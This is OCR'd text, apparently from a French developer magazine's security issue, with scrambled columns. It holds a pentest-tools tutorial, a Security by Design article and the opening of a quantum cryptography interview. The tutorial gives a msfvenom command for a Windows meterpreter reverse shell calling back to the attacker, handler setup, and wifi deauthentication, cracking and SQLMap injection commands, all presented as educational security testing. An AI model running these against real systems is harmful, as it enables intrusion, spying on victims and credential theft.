segmenté. L’enseignement supérieur est un projet. Les étudiants vont acquérir des concrets et identifiés, ce qui garantit aux
marché comme un autre. Certains cursus compétences au cours de la première année étudiants de développer une expertise
sont donc quantitatifs et d’autres qualitatifs. qu’ils vont ensuite exploiter durant leur professionnelle pérenne. •
16 //programmez.com
La compagnie des nains
« Bramor est un jeune nain. Apprenti forgeron, il était destiné à un bel avenir
au sein de la cité-mine du Rakdur. Affronter gobelins, géants et trolls, voilà ce
dont il rêve chaque nuit. Sa première mission - assurer la reconnaissance des
alentours du Rakdur - devait être des plus tranquilles… »
n o u v e a u
L’ouvrage est disponible sur Amazon.fr en format broché (15,99 €) et kindle (2,99 €) :
https://tinyurl.com/y3lptfog
Sécurité
+
développeur :
amis ou ennemis ?
Si le développeur n’est pas sensibilisé ni intégré à la politique de sécurité, vous
laisserez de jolies vulnérabilités. Le développeur est la première sentinelle de
la sécurité. Si le code est propre et respecte les bonnes pratiques, vous
limiterez les failles de base.
Bref, il faut laisser le temps aux développeurs de sécuriser le code, de
mettre en place les bonnes pratiques de la programmation sécurisée,
d’utiliser les outils adaptés (rien que les analyses statiques et
dynamiques du code feront disparaître les vulnérabilités les plus
communes). Mais il faut aussi que le développeur soit sensibilisé à la
sécurité et que les équipes, les entreprises, les DSI, les RSSI aient
conscience que le développeur doit être dans le plan global de sécurité
(communément appelé SecPlan). Il y a quelques années, et dans une moindre
mesure, encore aujourd’hui, les clients, les entreprises n’hésitaient pas à couper
dans les tests pour déployer plus rapidement, la sécurité c’est parfois un peu pareil.
Il est INADMISSIBLE que certaines vulnérabilités OWASP TOP 10 existent encore en 2019. Tout comme, il n’est pas
admissible de garder des piles techniques (serveurs d’applications, frameworks, langages, etc.) anciennes, non patchées,
ni mises à jour ! Garder des outils, des langages, des frameworks/librairies obsolètes qui ne sont plus supportés par les
éditeurs et communautés, c’est être suicidaire et exposer son back-end à des attaques. Jusqu’ici, tout va bien…
La sécurité ne concerne pas que les Ops (le fameux Ops de DevOps) ni que les RSSI. La sécurité doit être globale et
soutenue par toutes les entités de l’entreprise, toutes les équipes, tous les responsables et… par les développeurs.
Dans ce dossier, nous allons parler de Pentest (les fameux tests de pénétration), de DevSecOps, de sécurité des
© D-Keine
développements mobiles, de secure by design et nous évoquerons une révolution en cours dans la cryptographie avec la
cryptographie quantique. La rédaction.
18 //programmez.com
Christophe Villeneuve
Consultant IT pour Hello-design, Mozilla Rep, auteur
de livres pour les éditions Eyrolles et aux Éditions ENI,
SÉCURITÉ
PHPère des elePHPants PHP, membre des Teams
DrupalFR, AFUP, LeMug.fr (MySQL/MariaDB User
Group FR).
AVERTISSEMENT
L’auteur et la rédaction ne peuvent pas être tenus responsables du contenu de cet article et de son usage
niveau
Plateforme de tests intrusions 200
Metasploit �
Metasploit signifie « Metasploit Pen Testing Tool », un projet open
source en double licence (gratuite et professionnelle avec des fonc-
tionnalités avancées). Son but est de fournir des informations sur
les vulnérabilités des systèmes informatiques.
Les 3 axes de Metasploit sont :
• Exploit : un petit script qui exploite une vulnérabilité dans un sys-
tème ou une application.
• Payload : un script qui s’exécute sur le système piraté. Il s’accouple
avec un fichier binaire (exe, PDF…) et s’exécutera en même temps
que lui, du même genre qu’un trajan (cheval de Troie).
• Auxiliaire : il s’agit d’un utilitaire, utilisé pour scanner et détecter
les vulnérabilités d’une application. �
Bien entendu, il embarque une suite d’autres outils pour vous aider
à déterminer comment les hackers peuvent vous pirater. On dispose
aussi de frameworks ainsi que d’un outil d’opcode, pour les dépas- • machine 1 (192.168.1.125)
sement de tampons, un shellcode ou une fonction de recherche. • machine 2 (192.168.1.19)
Par ailleurs, il peut simuler des infections clients / serveurs et la • ma machine (192.168.1.50)
prise en main du PC infecté, exactement comme avec un botnet. À partir de votre machine, ouvrez un terminal pour taper la com-
Metasploit s’utilise en 2 étapes : mande suivante :
• Tout d’abord, il va générer la prise en main par un exploit distant
$ msfvenom –p windows/meterpreter_reverse_tcp –f exe –a x86 –platform windows
et la console du framework.
LHOST 192.168.1.50 LPORT 4444 –o virus.exe
• Ensuite, après avoir réalisé l’exploit, il permet la prise en main sur
la machine infectée par le meterpreter. La description des arguments :
Ainsi, vous pouvez effectuer des captures d’écran, enregistrer les • -p prépare le payload ;
frappes du clavier, etc. • -f exe indique que le type de fichier, ou l’extension de fichier sera exe ;
À travers un exemple, vous allez voir un cas pratique autour des 3 • -a x86 indique l’architecture système. x86 est utilisée dans les
axes décrits plus haut. Nous allons utiliser un réseau avec comme systèmes 32 bits, même si mon système est en 64 bits, on peut
IP, 192.168.1.x. Comme pour pouvoir envoyer un virus. faire tourner un programme 32 bits sur un système 64 bits ;
La première étape consiste à connaître le réseau. Pour ce faire, on • platform Windows indique que ce virus est pour Windows ;
utilise un outil de scan réseau qui va découvrir une liste de • LHOST est l’IP de l’attaquant (votre machine) ;
machines visibles : • LPORT est le port que vous souhaitez utiliser ;
• serveur MetaSploit (192.168.1.10) • -o est le chemin d’enregistrement du fichier, avec son nom.
programmez.com// 19
SÉCURITÉ
Ensuite, vous installez Payload : • l'attaque par dictionnaire : ce type d’attaque s’appuie sur un
fichier contenant une liste de mots. Le logiciel les lira les uns
$ ~# use mulit/handler après les autres en leur ajoutant les mêmes transformations que
$ ~# Set PAYLOAD windows/meterpreter/reverse_tcp précédemment.
$ ~# Set LHOST 192.168.1.50 • Attaque par force brute : cette attaque, connue sous le nom
$ ~# Set LPORT 4444 ‘Mode incrémental’, va essayer toutes les combinaisons de
Ce logiciel va se comporter comme un malware à partir de votre caractères possibles, jusqu'à trouver le mot de passe. Tous les
machine. caractères seront testés, quelle que soit la robustesse du mot de
La dernière étape sera l’exécution de l’exploit avec la commande : passe, si vous lui laissez le temps nécessaire à le trouver.
• Le mode Markov : ce dernier mode est le mode personnalisé en
$ exploit ajoutant à la fin de la ligne de commande –markov. Il va vous
Au final, quand l’ordinateur victime va lancer le programme permettre d’ajouter vos propres arguments, avec des délimiteurs,
(manuellement) ou à partir de son OS, vous allez voir que le niveau à chacune des méthodes décrites précédemment.
Metasploit et Meterpreter se lanceront, ce qui signifie que vous Par défaut, les trois premiers modes sont exécutés dans cet ordre
avez pris le contrôle de la machine victime. l'un après l'autre, bien qu'il soit possible de lancer l’outil directe-
À partir de là, vous pouvez utiliser la webcam, enregistrer des ment dans un des modes.
vidéos, enregistrer les frappes du clavier avec un keylogger, télé- Enfin, si vous n’êtes pas habitué à la ligne de commandes (un
charger ces données personnelles ou même éteindre ou redémar- conseil : il faut s’y mettre), vous pouvez utiliser une interface gra-
rer son ordinateur. phique appelée Johnny.
Sympa, non ? Site officiel John The Ripper : http://www.openwall.com/john/
Enfin, la création de l’exploit se fait à travers des scripts fournis qui Site officiel Johnny : https://openwall.info/wiki/john/johnny
sont mis à jour ou proposés via la communauté.
Site officiel : http://metasploit.com/ Réseaux sans fil
Le réseau sans fil est une source très intéressante pour les hackers,
Les mots de passe � car vos téléphones, tablettes, ordinateurs portables que vous utili-
Les mots de passe sont partout aussi bien sur le Web, que pour l’ac- sez quotidiennement sont des portes d’accès supplémentaires qu’il
cès à votre environnement de travail, votre système d’exploitation, faut surveiller. Il existe différents protocoles pour les réseaux wifi
les logiciels, etc. (WEP, WPA…) qui peuvent être cassés, plus ou moins rapidement,
par une suite d’outils regroupés sous le nom de Aircrack-ng.
Résistance d’un mot de passe Son rôle est de surveiller votre réseau, mais il est souvent utilisé
John The Ripper est un logiciel libre de cassage de mot de passe. Il pour cracker un réseau informatique sans autorisation, ce qui est,
permet de tester la sécurité des mots de passe. Il inclut l’autodétection évidemment, interdit.
des fonctions de hachage utilisées pour stocker les mots de passe. Par exemple, nous vous montrons le moyen de vérifier si votre
Il propose différentes techniques pour retrouver le mot de passe : réseau WPA2 est suffisamment sécurisé à partir d’un environne-
• le mode simple : John effectue quelques transformations sur le ment Linux. À partir du terminal, vous déconnectez tous vos
nom d'utilisateur, pour casser les mots de passe les plus faibles. réseaux sans fil disponible sur votre ordinateur :
Pour l'utilisateur admin, il essayerait "admin, Admin, admin123, $ airmon-ng check kill
ADMIN123, admin1, etc.". Ce mode est le plus rapide à effec-
tuer, un mot de passe qui serait cassé par cette méthode serait Ensuite, vous vous connectez à la carte Wifi interne ou externe de
un mauvais mot de passe. votre ordinateur :
� $ airmon-ng
Le programme trouvera la carte wifi et vous vous connecterez à
l’interface
$ airodump-ng --bssid [router bssid] -c [client bssid] --write [nomFichier] [monitor interface]
• 14:0C:76:95:C1:C9 : BSSID
20 //programmez.com
SÉCURITÉ
• -c 5 : le numéro du channel
• NomFichier : nom du fichier qui enregistre le résultat
• monitor interface : nom du réseau
Le programme Airodump va surveiller uniquement le réseau cible,
et il capture les informations plus spécifiques et attend qu’un autre
périphérique se connecte ou se reconnecte à ce réseau.
Vous trouverez 4 nouveaux fichiers dans votre disque dur qui gar-
dent les informations capturées.
La dernière étape s’effectue avec un autre terminal pour capturer
le mot de passe chiffré, de la manière suivante : �
$ aireplay-ng --deauth 100 -a [router bssid] [monitor interface]
$ aircrack-ng [NomFichier].cap
Analyse réseau
Wireshark rentre dans la famille des outils d’analyse de réseau et
principalement les données passant par le switch et hub. Son but
est de capturer les paquets en temps réel et de retourner le résultat
dans un format lisible pour l’utilisateur.
Il est compatible avec l’ensemble des systèmes d’exploitation
(Windows, Linux, FreeBSD, NetBSD, NetBSD...), VoIP et des diffé-
rents protocoles (SMTP, NNTP, IPsec, ISAKMP, SSL/TLS, WEP et
WPA/WPA2). Mais nous l’utiliserons pour sécuriser le réseau infor- �
matique. �
Lors du lancement du logiciel, il va automatiquement détecter les
différents matériels en réseau (cartes, wifi, switch, hub).
Vous choisissez la ligne à surveiller pour obtenir le détail des diffé-
rents paquets envoyés. �
L’écran est découpé en 3 parties :
• La première partie va capturer les paquets que le logiciel voit
passer. Vous pouvez stopper à tout moment la capture avec le
bouton ‘pause’. Chaque ligne est identifiée par le type de trafic
avec une couleur prédéfinie.
• le vert est le trafic TCP ;
• le bleu foncé est le trafic DNS ;
• le bleu clair est le trafic UDP ;
• le noir identifie les paquets TCP présentant des problèmes.
• La deuxième partie de l’écran fournira les informations plus �
détaillées comme le protocole de transmission, la carte utilisée,
la taille du paquet… Base de données
• La troisième partie affichera en clair les données en caractère La base de données est un point sensible dans votre projet, car elle
ASCII et hexadécimales. Par exemple vous pouvez voir les don- enregistre les informations sensibles de vos utilisateurs. Il existe de
nées saisies d’un formulaire et les valeurs d’une requête. nombreux logiciels open source pour vérifier si votre base de don-
Enfin, vous pouvez analyser en détail chaque ligne avec les diffé- nées résiste aux tests d’intrusion. Toutefois l’exemple s’appuiera sur
rentes options proposées ou exporter vos propres captures pour les SQLMap qui va vous permettre d’automatiser la détection des
ouvrir plus tard. défauts d’injection SQL. L'avantage est qu’il reconnaît un maxi-
Site officiel : https://www.wireshark.org/ mum de formats de base de données.
Ce logiciel va faciliter les tests, car il est capable d’interroger votre
programmez.com// 21
SÉCURITÉ
base de données quel que soit le format de votre URL avec ou sans Son rôle est de tester la résistance de vos applications Web pour
option de redirection. Les adresses internet possibles sont : vérifier la sécurité. Il va regarder ce qui se passe entre le navigateur
http://votreSite.com/?id=123 Web et le serveur.
http://votreSite.com/123/view La technique utilisée permet d'injecter des données non conformes
http://votreSite.com/123/456 dans l'objectif de provoquer un comportement anormal de l'appli-
http://votreSite.com/123 cation et donc d'en identifier les bugs et vulnérabilités associées.
Nous testerons la dernière ligne de l’exemple pour remonter à la
base de données. Il s’utilise de la manière : �
Pour cela, vous téléchargez SQLMap et en ligne de commande, • La première étape consiste à modifier les paramètres réseau de
vous taperez ceci : votre navigateur pour lui ajouter le port 8080 pour capturer
toutes les requêtes GET et POST. ��
$ ./sqlmap.py -u http://votreSite.com/1* --wizard
• L’étape suivante est de signaler à Burp qu’il doit utiliser le proxy
Les arguments sont : défini ci-dessus en accédant à l’écran des options de l’onglet
• -u URL adresse du site cible Proxy.
• --wizard interface simple utilisateur � Par ailleurs, vous exportez le ‘CA certificate’ dans le navigateur
À cette étape, nous ne remplissons pas le champ --data qui est le avec sa clé privée.
nom de la base de données que nous ne connaissons pas Avant d’intercepter les requêtes, vous devez actionner le bouton
Ensuite, nous renseignerons : ‘intercept on’ du sous-onglet Intercept
• Risk à 2 pour moyen, ce qui signifie la difficulté d'injection. Quand vous tapez une URL du site dans votre navigateur, les
• Enumération à 2 pour un dénombrement intermédiaire. requêtes sont interceptées directement par Burp ��
Pour obtenir le résultat suivant �
Nous connaissons maintenant l’environnement où se trouve la
base de données, son nom et les noms des tables
Pour obtenir le contenu de la table ‘users’ vous devrez renseigner
certaines valeurs supplémentaires dans les arguments pour en lister
son contenu. Site officiel : http://sqlmap.org/
Applications Web
Burp Suite est une suite d’outils comprenant un serveur proxy (Burp
Proxy), un robot d’indexation (Burp Spider), un outil d'intrusion
(Burp Intruder), un scanner de vulnérabilités (Burp Scanner) et un
répéteur HTTP (Burp Repeater).
��
� ��
22 //programmez.com
SÉCURITÉ
Développement
Il existe de nombreux frameworks ou logiciels pour vous aider à
sécuriser votre développement, qui sont aussi utilisés pour faire des
tests de pénétrations que vous n’avez pas faits auparavant. Le plus
connu est Owasp ZAP qui signifie ‘Zed Attack Proxy’. Son rôle va
trouver les vulnérabilités de sécurité dans vos applications Web pen-
dant que vous développez et les tester. ��
Pour cela, vous lancez l’application et tapez l’adresse du site inter-
net, et vous cliquez sur ‘attack’. �� ��
Lorsque le logiciel a terminé, vous obtenez le résultat avec les dif-
férents niveaux d’alertes. ��
Vous choisissez une ligne pour obtenir le détail de la faille. L’écran
affiche la position qui pose un problème et vous explique dans une
description les risques encourus, la solution et le lien de la référence
OWASP pour vous aider à la corriger.
Par ailleurs, il propose un proxy pour vous faciliter l’utilisation dans
une intégration continue et la répétition de cycle de tests.
Site officiel : https://www.owasp.org/index.php/ZAP
La mémoire vive
La mémoire vive (appelée RAM) est une source d’informations
volatiles. Elle est automatiquement perdue quand le système est
éteint. Cet espace de stockage peut mémoriser les mots de passe,
processus d’exécution, sockets ouverts, presse papier… qui est
exploité par différents logiciels.
L’outil Volatility prend en charge une variété de formats de fichiers ��
comme les échantillons linéaires (dd), virtualbox, Vmware, EWF,
Lime, firewire, Qemu…
Il est possible de connaître la liste des formats compatibles en
tapant ceci :
$ volatility --info
Vous obtiendrez les informations de bases qui sont les profils com-
patibles. ��
L’étape suivante va permettre de connaître le contenu en mémoire
que nous listerons comme ceci :
Un environnement ��
Kali Linux est une plateforme open source de tests de pénétration,
basée sur Debian.
Cette plateforme fonctionne sur Rasberry PI, Virtual box, VMWare,
ARM avec les différentes interfaces utilisateurs comme Gnome,
��
KDE, xfce...
��
Son but est une solution clef en main pour éviter de rechercher et
de télécharger les logiciels manuellement. Elle rassemble plus de
600 programmes d’analyse de sécurité préinstallés, dont certains
décris ci-dessus.
Ainsi, vous trouverez sur le site Web de Kali l’ensemble des outils
disponibles, classés dans différentes catégories comme :
• Applications Web
• Attaques sans fil
• Analyse de vulnérabilité
• Collecte d'information
• Outils d'exploitation
• Tests de stress
• Outils médico-légaux
• Sniffing & Spoofing
• Attaques par mot de passe
• Maintien de l'accès
PENTEST MATÉRIEL ! • Ingénierie inverse
Christophe a parlé des pentests logiciels. Il existe plusieurs plateformes de pénétrations • Outils de reporting
matérielles. Les plus connues sont : Pirate Bus, Shikra, GoodFeet, Hardsploit, • Piratage matériel
JTAGulator et même une simple Pi ! La Pirate Bus est sans doute la plus connue et une Après avoir téléchargé et installé la version de votre choix, vous
des plus utilisées. Elle supporte les protocoles les plus diffusées : UART, SPI, JTAG, mettez à jour les logiciels :
SWD. Il est aussi possible de flasher des firmwares grâce à cette carte. Vous imaginez
les possibilités ? Par exemple : hacker une gateway IoT en injectant du code ou rem- $ apt upgrade
placer le firmware, surtout si les ports ne sont pas fermés… $ apt update
Le pentest matériel est souvent plus complexe mais les possibilités sont immenses.
Même si Kali Linux est un environnement prêt à l’emploi, le para-
Quelques tutos et hacks pour comprendre le risque : métrage des logiciels que vous utiliserez sera nécessaire, car vous
https://www.senseofsecurity.com.au/sitecontnt/uploads/2018/08/AusCERT2018-Introduction-to-IoT- êtes le seul responsable.
Security-Assessment-and-Penetration-Testing.pdf Par ailleurs, le portail Web de ce projet apporte de nombreuses
informations, versions et des fiches techniques des logiciels listés
https://nvisium.com/blog/2019/08/07/extracting-firmware-from-iot-devices.html
qui vous aideront à vous repérer pour sécuriser votre infrastructure.
Site officiel : https://www.kali.org/
Conclusion
Les tests de pénétrations sont étendus et couvrent l’ensemble des
risques. Vous trouverez votre bonheur dans cet article pour un
usage privé et encadré, ou en préventif.
Toutefois, vous ne devez pas perdre de vue que les scans de vulné-
rabilités doivent être quotidiens pour réduire les risques de cyber
attaques, car les hackers sont actifs 24h/24 et 7/7. Ces personnes
utilisent de nombreux outils de façon automatique sur des applica-
tions qui ne contrôlent pas assez leur sécurité.
L’impact des tests d’intrusions ne doit pas se limiter à l’interface de
l’application utilisateur, mais à son ensemble.
Bien entendu, quel que soit l’outil de test que vous choisirez dans
le cadre de l’amélioration de la sécurité de votre réseau, bases de
données, langages, vous devez le faire régulièrement et non la
veille de la mise en production. •
24 //programmez.com
Flavien Dumur SÉCURITÉ
ADIKTS
Application Security and
DevSecOps specialist
P
ar analogie à l’aéronautique, où la (GDPR), des ressources techniques, des l’effort, tant humain que financier, sera dif-
sécurité d’un système ou d’une orga- services et comptes associés. férent entre un site institutionnel et des
nisation dépend directement des Les principaux éléments que nous allons applications bancaires ou embarquées
risques auxquels ils seront confrontés en décrire sont les suivants : d’un point de vue sécurité mais aussi en
vol, le développement sécurisé d’une appli- • La définition des assets et des éléments termes de développement pur.
cation s’applique avec le même objectif ; de sécurité inhérents ;
l’amélioration continue des processus pour • La compréhension du risque informa- Comprendre
répondre aux exigences liées à son usage. tique et de la menace associée ; les attaquants
En d’autres termes, la sécurité dès la • La classification de l’applicatif en fonc- Cette réflexion est primordiale dans le
conception, dépendra : tion des quatre piliers de la Sécurité Security By Design, connaître son ennemi
• Des fonctionnalités business de l’applica- applicative ; est une base de l’Art de la Guerre (Sun Tzu)
tion et des données traitées, personnelles • L’importance de l’Architecture fonction- mais également un atout pour les dévelop-
ou critiques pour l’entreprise en rejoi- nelle et technique d’entreprise ; peurs afin d’adapter les contrôles et être
gnant le Privacy By Design. Les principes de base de la sécurité et des accompagnés par les équipes transverses.
• De l’implication de tous les acteurs du exemples. Les profils d’attaquants sont nombreux,
projet, pas seulement les développeurs Enfin, l’aspect préventif est prédominant mais en voici une liste volontairement in-
qui portent souvent l’unique responsabili- car les coûts de remédiation en production complète :
té du code dans cet enjeu mais bien, du ne seront évidemment pas les mêmes • Personnel interne à l’entreprise, voire
business en passant par les équipes trans- qu’en phase de conception et/ou de déve- programmeurs, mécontents ou sur le dé-
verses comme l’Architecture et les loppement itératif. La préparation à un part ;
Opérations. incident de sécurité applicatif par exemple • Organisations criminelles mal intention-
On parle donc ici de sécurité pilotée par le doit pouvoir permettre d’en réduire les im- nées ;
risque afin d’adapter au mieux les efforts de pacts sur l’entreprise (image, pertes • Cybercriminels motivés ;
chacun en fonction des contraintes métier financières, …). • Concurrence pour espionnage industriel
(time-to-market, engagement client, etc.), par exemple ;
des standards d’architecture, de sécurité et Clarification des • Apprentis utilisant des scripts trouvés sur
opérationnels d’une entreprise. ressources numériques Internet ;
La première étape est de qualifier les don- Et de même pour les attaques :
Principes généraux nées à protéger pour en adapter les • Vol de données sensibles (personnelles,
Le SbyD, au même titre que le DevSecOps, contrôles nécessaires. Nous abordons ici le bancaires, santé) ;
est l’intégration du risque et des éléments besoin métier de protéger la donnée en • Virus, chevaux de Troie sur le système ;
de sécurité pendant la phase de conception fonction du risque business en termes de • Fraudes ;
et aussi durant l’intégralité du cycle de vie réputation, de vol, de fraude, de falsifica- • Usurpation d’identités ;
applicatif : tion, etc. • Atteinte à l’image.
• Conception : qualification du risque, En termes de contrôles, la question se basera Bien qu’il soit difficile de connaître les moti-
adaptations des contrôles, intégration au par exemple sur le besoin d’auditer l’appli- vations réelles des attaquants et comme les
SI et aux pipelines CI/CD ; cation. En effet, elle peut être soumise à techniques évoluent très vite, le Security By
• Vie courante : monitoring, opérations de une régulation. Ou plus simplement à une Design doit permettre de réduire le risque
maintenance comme la mise à jour de analyse de surface à l’aide d’un outil dyna- sur une échelle de temps convenable.
composants et stacks d’exécution deve- mique de sécurité en plus des habituels En retour d’expérience, quelques questions
nus obsolètes et/ou vulnérables, mise à tests unitaires et d’intégration qui viendront utiles à se poser :
jour des politiques de sécurité ; compléter les contrôles métier applicatifs. • Que pourrait-on faire en contournant la
• Désengagement : suppression des don- Cette étape permet donc de définir les res- logique applicative ?
nées comme précisé par le RGPD sources avec la topologie d’application, car
programmez.com// 25
SÉCURITÉ
veau de classification d’une application au- Point important, les pratiques mises en
quel peut s’ajouter par exemple l’exposition place pour atténuer le risque doivent être
de l’application sur Internet comme critère. également décrites et de facto l’architecture
applicative sécurisée devra évoluer durant
Architecture applicative le cycle de vie complet de l’application jus-
sécurisée qu’à son abandon.
La conception actuelle d’applications doit
désormais, en plus du besoin initial en Principes de Sécurité
termes de fonctions et d’intégration au SI, Ces principes sont la base du développe-
prendre en compte le risque et ainsi adap- ment sécurisé et permettent de comprendre
ter le projet. facilement les exploitations potentielles et
L’aspect dimensionnement au cas d’utilisa- surtout vulgariser des bonnes pratiques,
tion nominal ne suffit plus et les cas toujours dans le but de réduire le risque glo-
extrêmes d’attaques doivent être pris en bal.
compte (Brute force, bots, injections, déni
� de service, etc.) au démarrage du projet. Minimiser la surface d'attaque
• Quelles sont les dernières attaques que Une architecture de sécurité d’une applica- Chaque fonction est par définition un risque
mon entreprise ait subies ? tion pourrait se décomposer en : de sécurité en plus pour l’application dans
• Mon application peut-elle être utilisée • Une couche logicielle où la confidentiali- son ensemble, donc l’exposition d’une
pour récupérer des données afin d’en at- té, l’intégrité et l’accès aux données aux fonction, d’un service ou d’une donnée doit
taquer d’autres ? bons utilisateurs est maîtrisée par diffé- être réalisée au juste nécessaire pour rem-
• Quelle sera sa durée de vie ? Et son expo- rents contrôles ; plir son besoin initial.
sition médiatique en interne ou en • Une infrastructure permettant des Par exemple :
externe ? contrôles spécifiques à l’application et • Une fonction de recherche authentifiée
• Quels sont les composants embarqués ou non à un ensemble de produits ne cou- peut être un risque d’injection SQL ou de
d’exécution qui arriveront en fin de sup- vrant pas le risque business sous-jacent Cross Site Scripting, donc elle se doit
port d’ici les deux prochaines années ? mais uniquement le périmétrique ; d’être validée côté serveur afin de réduire
Pour information, de nombreuses forma- • Un aspect gouvernance, où l’application ces risques ;
tions permettent d’appréhender les bases réutilise des patterns d’architecture • L’interface d’administration doit-elle être
du « ethical hacking » afin de pouvoir intui- comme le découplage, les API, les stacks accessible depuis Internet ? Si oui, est-il
ter les vecteurs d’attaques et les exploita- techniques connues et maitrisées dans possible de mettre en place un filtrage IP
tions potentielles, mais surtout apprendre à leur exploitation, etc. ou une authentification forte ?
tester ses propres développements. Il est possible par exemple de s’aider de • Les ports ouverts sur ma machine sont-ils
méthodologies Open Source qui permet- tous utiles au bon fonctionnement appli-
Piliers de la sécurité tent de : catif ? Si non pourquoi ne pas les fermer
applicative • Modéliser la menace selon les exploita- pour éviter tout risque.
Ils sont au nombre de quatre : tions potentielles : STRIDE ;
• Confidentialité : n'autoriser que l'accès • Quantifier le risque d’une vulnérabilité : Établir des valeurs sécurisées
aux données auxquelles l'utilisateur a DREAD. par défaut
droit ; Plus d’informations sur STRIDE/ DREAD : Chaque fonction doit apporter la meilleure
• Intégrité : s’assurer que les données ne https://wiki.openstack.org/wiki/Security/OSSA-Metrics expérience utilisateur possible pour un be-
soient pas falsifiées ou manipulées par Par conséquent, le concept de SbyD doit soin dans un contexte de sécurité standard.
des utilisateurs non autorisés ; permettre d’analyser la sécurité de chaque Ce contexte doit être défini soit par l’entre-
• Disponibilité : permettre l’accès aux sys- fonction pendant la phase de conception prise de manière globale, soit par le métier,
tèmes et aux données pour les utilisateurs une fois le modèle métier établi. l’équipe de développement pourra en pro-
autorisés en fonction de leurs besoins ; En termes d’exemple de fonctions, le sché- poser à défaut mais ne devra pas en porter
• Traçabilité : s’assurer que les journaux ma permet d’appréhender les différents la responsabilité.
d'audit et de monitoring sont bien implé- besoins de sécurité d’une application trois Par exemple, la fonction de modification de
mentés et protégés surtout pour les tiers : � mot de passe se base sur une politique de
éléments stratégiques. Chaque fonction, orientée sécurité dans ce caractères, une durée de vie, etc. Dans cer-
Ces piliers serviront ensuite à la construc- schéma devrait susciter une question liée tains cas, le business peut demander à
tion de contrôles robustes correspondant au risque métier. modifier cela pour ces utilisateurs, néan-
aux principes de sécurité ci-après et adap- Par ailleurs, la fonction est aussi bien une moins cela devra être validé et par
tés aux fonctions applicatives et leurs fonction métier qu’une fonction purement conséquent portera la responsabilité du
criticités. technique, ce qui doit permettre de les ap- risque introduit.
Également, ils permettent un premier ni- préhender de la même manière.
26 //programmez.com
SÉCURITÉ
Le principe du moindre Ne faites pas confiance En cryptologie, tout repose sur le secret de
privilège aux services la clé, mais si l’algorithme utilisé est obsolè-
Chaque utilisateur doit posséder les droits L’utilisation de services externes est deve- te car l’application est très ancienne par
nécessaires pour réaliser ses processus nue légitimement une pratique courante et exemple, l’attaquant pourra retrouver la clé
métier dans l’application et ce de manière requiert une attention particulière. initiale via des outils dédiés de brute force
minimale. Cela s’applique aussi bien à l’ac- Les partenaires proposant ces services peu- et des dictionnaires, et ainsi contourner
cès aux données qu’aux ressources applica- vent avoir des politiques de sécurité très l’obscurité définie pour sécuriser. Des outils
tives et matérielles. différentes et des niveaux de maturité en d’analyse de cryptographie comme
La granularité des droits et l’utilisation de termes de développement et de sécurité Cryptosense permettent d’auditer les appli-
Frameworks peuvent permettre de faciliter la bien différents. cations et d’évaluer le risque induit et
gestion et l’implémentation de ce principe. La confiance d’un partenaire ne doit jamais surtout comment remédier.
Par exemple, lorsque l’on créé un compte être implicite et chaque service doit être
dans le cloud Amazon, il n’a aucun droit traité indépendamment. Un contrat de ser- Gardez la sécurité simple
d’accès à aucun service permettant ainsi de vice est déjà un bon point de départ mais De la même façon que pour la maintenabi-
les attribuer au strict nécessaire par la suite. n’assure pas que les données partenaire ne lité du code, la sécurité introduite dans
soient pas corrompues un jour. Également, l’application doit rester simple tout en assu-
Le principe de défense ce contrat doit permettre d’expliciter ses rant sa fonction et permettre son évolutivité
en profondeur exigences d’interconnexions et pouvoir per- dans le temps.
Un contrôle peut parfois suffire pour une mettre des analyses conjointes en cas Utiliser directement une librairie standard
fonction, néanmoins le point est le durcis- d’incidents de sécurité. du marché pour réaliser un protocole
sement en rajoutant des contrôles selon Par exemple, il est recommandé de prévoir OAuth par exemple, plutôt que de redéve-
différents vecteurs potentiels d’attaque. une validation des données avant de les af- lopper sa propre implémentation.
L’objectif est donc de réduire les risques de ficher. Demander à avoir un jeton Avoir une architecture logicielle simple per-
manière globale et de limiter l’exploitation renouvelable sur une durée décente pour met de conserver une bonne isolation entre
de vulnérabilités graves ou critiques au utiliser un service distant est aussi une les différents services et faciliter la gestion
maximum. bonne pratique. Cela permettra de s’assu- des différents contrôles d’accès.
En développement sécurisé, cela peut se rer qu’en cas de vol de ce jeton, le fenêtre
décrire par exemple par la « Ne jamais faire d’action de l’attaquant soit la plus limitée Résoudre les problèmes de
confiance aux entrées utilisateur » et ainsi possible. sécurité correctement
avoir plusieurs niveaux de validations dans Si un problème de sécurité est identifié, sa
chaque fonction. Séparation des tâches remédiation doit être préalablement testée
Un autre exemple, est de faire valider l’au- Elle a pour but d’éviter les fraudes et les pour éviter des régressions fonctionnelles.
torisation d’un utilisateur à une fonction à contournements de processus en interne et Elle devra aussi être appliquée de manière
chaque appel, de tracer les accès et actions se base sur la notion de confiance sur la va- globale sur l’ensemble des services et/ou
en fonction du risque, tout en étant capable lidation de la bonne réalisation d’une tâche applications impactées pour que la correc-
de bloquer temporairement ou non les ap- dans un contexte bien précis. tion soit effective.
pels successifs en cas de problème ou de Par exemple, un développeur ayant des Par exemple, si un service Web est corrigé
suspicion d’attaque. droits d’administrateur sur la plateforme de côté serveur sur sa partie autorisation, les
développement ne devrait pas les avoir en clients devront tous mettre à jour leur im-
Échouer en toute sécurité production et ainsi pouvoir visualiser des plémentation afin de pouvoir clôturer le
Dans les fonctions transactionnelles, la ges- données hors de son périmètre d’activités service vulnérable dans les délais les
tion des erreurs est primordiale afin de ne initial. meilleurs.
pas fournir de la connaissance à l’atta-
quant sur la sécurité en place ou les Évitez la sécurité par l'obscurité En conclusion
workflows de l’application. Bien qu’étant un contrôle de sécurité, l’obs- Implémenter le SbyD nécessite de la logique,
Par exemple, si une personne malveillante curité repose sur la non-divulgation des connaissances sur le risque et les atta-
essaie d’accéder à une fonction de manière d’informations liées à la structure, au fonc- quants. La qualité et la sécurité du code sont
non nominale, il peut obtenir des codes tionnement et l’implémentation d’un un gage de confiance envers les utilsateurs
d’erreurs lui permettant de comprendre la process informatique. Ils nécessitent néanmoins une compréhen-
logique de l’application, ou pire, des stacks L’exemple type est l’obfuscation du code sion et une appréhension du risque qu’un
d’exceptions lui permettant d’identifier les qui est censé bloquer toute rétro-ingénierie. développeur peut apporter dans une
technologies utilisées et ainsi continuer à Le contre-exemple venant de fait, sont les démarche d’amélioration continue. •
peaufiner son attaque future. projets Open Source comme Apache,
Linux, GPG entre autres où la sécurité est Référence :
améliorée par la communauté bien que les https://www.owasp.org/index.php/Security_by_Desig
sources soient publiques. n_Principles
programmez.com// 27
SÉCURITÉ
François Tonic
Rédacteur en chef
de Programmez!
Cryptographie quantique :
ÉCHANGE AVEC RENAUD LIFCHITZ
Nous avons eu l’occasion d’échanger avec Renaud Lifchitz (expert sécurité chez digital.security). Pour les
